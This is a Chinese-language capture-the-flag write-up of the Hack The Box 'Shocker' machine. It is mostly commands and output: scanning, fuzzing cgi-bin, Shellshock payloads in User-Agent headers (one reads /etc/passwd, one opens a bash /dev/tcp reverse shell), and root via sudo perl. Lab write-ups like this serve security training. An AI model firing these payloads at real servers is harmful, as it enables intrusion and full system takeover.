HTB靶机03-Shocker-WP

Shocker

scan

2023-03-30 23:22

┌──(xavier㉿xavier)-[~/Desktop/Inbox]
└─$ sudo nmap -sSV -T4 -F 10.10.10.56
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-30 23:22 HKT
Nmap scan report for 10.10.10.56
Host is up (0.40s latency).
Not shown: 99 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds

┌──(xavier㉿xavier)-[~/Desktop/Inbox]
└─$ sudo nmap -sSV -sC -T4 10.10.10.56
[sudo] xavier 的密码：
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-30 23:43 HKT
Nmap scan report for 10.10.10.56
Host is up (0.46s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.97 seconds

┌──(xavier㉿xavier)-[~/Desktop/Inbox]
└─$ searchsploit apache 2.4.18
……
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                      | linux/webapps/42745.py

┌──(xavier㉿xavier)-[~/Desktop/Inbox/Shocker]
└─$ searchsploit -m linux/webapps/42745.py

漏洞利用未果

扫目录：/cgi-bin/和/server-status

扫端口：80,2222（ssh）

ssh爆破，未果

思路卡死，看wp

发现利用wfuzz从/cgi-bin/下扫出东西来了，之前没用过，试试看

wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.56/cgi-bin/FUZZ.sh

发现自己之前扫描的时候忽略了sh后缀，加上之后，也成功扫到了。

反思：通常对web目录扫描的时候，只会用一些如下后缀，确实忽视了sh：

php, jsp, html, htm, asp, do, ation, bak, _bak等

┌──(xavier㉿xavier)-[~/Desktop/Inbox]
└─$ dirsearch -e html,sh -u http://10.10.10.56/cgi-bin/ -r

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: html, sh | HTTP method: GET | Threads: 30 | Wordlist size: 9474

Output File: /home/xavier/.dirsearch/reports/10.10.10.56/-cgi-bin-_23-03-31_00-09-48.txt

Error Log: /home/xavier/.dirsearch/logs/errors-23-03-31_00-09-48.log

Target: http://10.10.10.56/cgi-bin/

[00:09:48] Starting:
[00:09:57] 403 -  305B  - /cgi-bin/.ht_wsr.txt
[00:09:57] 403 -  308B  - /cgi-bin/.htaccess.bak1
[00:09:57] 403 -  310B  - /cgi-bin/.htaccess.sample
[00:09:57] 403 -  308B  - /cgi-bin/.htaccess.save
[00:09:57] 403 -  308B  - /cgi-bin/.htaccess.orig
[00:09:57] 403 -  309B  - /cgi-bin/.htaccess_extra
[00:09:57] 403 -  308B  - /cgi-bin/.htaccess_orig
[00:09:57] 403 -  306B  - /cgi-bin/.htaccess_sc
[00:09:57] 403 -  306B  - /cgi-bin/.htaccessBAK
[00:09:57] 403 -  299B  - /cgi-bin/.html
[00:09:57] 403 -  298B  - /cgi-bin/.htm
[00:09:58] 403 -  304B  - /cgi-bin/.htpasswds
[00:09:58] 403 -  308B  - /cgi-bin/.htpasswd_test
[00:09:58] 403 -  305B  - /cgi-bin/.httr-oauth
[00:09:58] 403 -  306B  - /cgi-bin/.htaccessOLD
[00:09:58] 403 -  307B  - /cgi-bin/.htaccessOLD2
[00:12:13] 200 -  118B  - /cgi-bin/user.sh

Task Completed

访问 http://10.10.10.56/cgi-bin/user.sh

没什么思路，查了一番资料后，了解到是 ShellShock 漏洞

poc:

User-Agent: () { :; };echo;ls
User-Agent: () { :; };echo;/bin/cat /etc/passwd

使用Burp进行抓包测试，发现这里无回显，于是直接尝试回连

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.16/7777 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

本地nc监听，收到反弹shell：

┌──(xavier㉿xavier)-[~]
└─$ nc -nlvp 7777
listening on [any] 7777 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.56] 40040
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ pwd
pwd
/usr/lib/cgi-bin
shelly@Shocker:/usr/lib/cgi-bin$ ls ~/
ls ~/
user.txt
shelly@Shocker:/usr/lib/cgi-bin$ cat ~/user.txt 
cat ~/user.txt
607d806825115ff08abbc222e9159ae7
shelly@Shocker:/usr/lib/cgi-bin$ 

2023-3-31 00:43:18，用时1h

提权

shelly@Shocker:/usr/lib/cgi-bin$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

lxd提权

略

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

perl提权

shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/bash";'
sudo perl -e 'exec "/bin/bash";'
id 
uid=0(root) gid=0(root) groups=0(root)
ls /root/
root.txt
cat /root/root.txt
b709eb26548bdb9fdd65b5aaed0c5c3f

2023-3-31 00:51:54，用时1.5小时